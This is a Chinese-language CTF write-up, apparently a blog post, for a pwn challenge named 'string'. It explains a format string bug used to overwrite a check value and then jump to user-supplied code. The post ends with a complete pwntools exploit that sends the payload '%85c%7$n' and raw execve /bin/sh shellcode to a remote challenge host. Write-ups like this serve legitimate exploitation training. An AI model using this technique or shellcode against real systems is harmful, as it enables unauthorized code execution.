string

checksec一下,開了canary,開了NX

image.png

拖進(jìn)ida
image.png

image.png

image.png

image.png

image.png

image.png

好吧,思路錯(cuò)了,光想著打游戲了,通過大佬的博客http://www.itdecent.cn/p/c502dd00aa29發(fā)現(xiàn)了
image.png

這一句是將v1強(qiáng)制轉(zhuǎn)化為函數(shù)指針,然后調(diào)用這個(gè)函數(shù),所以我們可以把shellcode寫到v1里去,那么接下來就是要想方設(shè)法得跳到這個(gè)位置去,我們可以看到上面有個(gè)if語(yǔ)句
a1[0] == a1[1],往上翻我們知道a1就是前面的v4,v4=v3而v3[0] = 68,v3[1] = 85,所以我們要修改a1[0]為85,題目一開始給了我們的secret就是一個(gè)地址,就是a1的地址,而看到sub_400BB9函數(shù),很明顯有一個(gè)格式化字符串漏洞,可以進(jìn)行任意地址寫,所以我們需要先跳轉(zhuǎn)到sub_400BB9函數(shù)調(diào)用printf,這一刻前面分析的游戲還是起到了用處
腳本:

#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
p = remote('111.198.29.45',52723)
p.recvuntil('secret[0] is')
addr = int(p.recvuntil("\n"),16) 
log.success("addr:"+hex(addr))
p.recvuntil('name be:\n')
p.sendline("y0ona")
p.recvuntil('or up?:\n')
p.sendline('1')
p.recvuntil("address'\n")
p.sendline(str(addr))
p.recvuntil('you wish is:\n')
payload = "%85c" + "%7$n"
p.sendline(payload)
#shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" 
p.recvuntil('USE YOU SPELL\n')
p.sendline(shellcode)
p.interactive()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容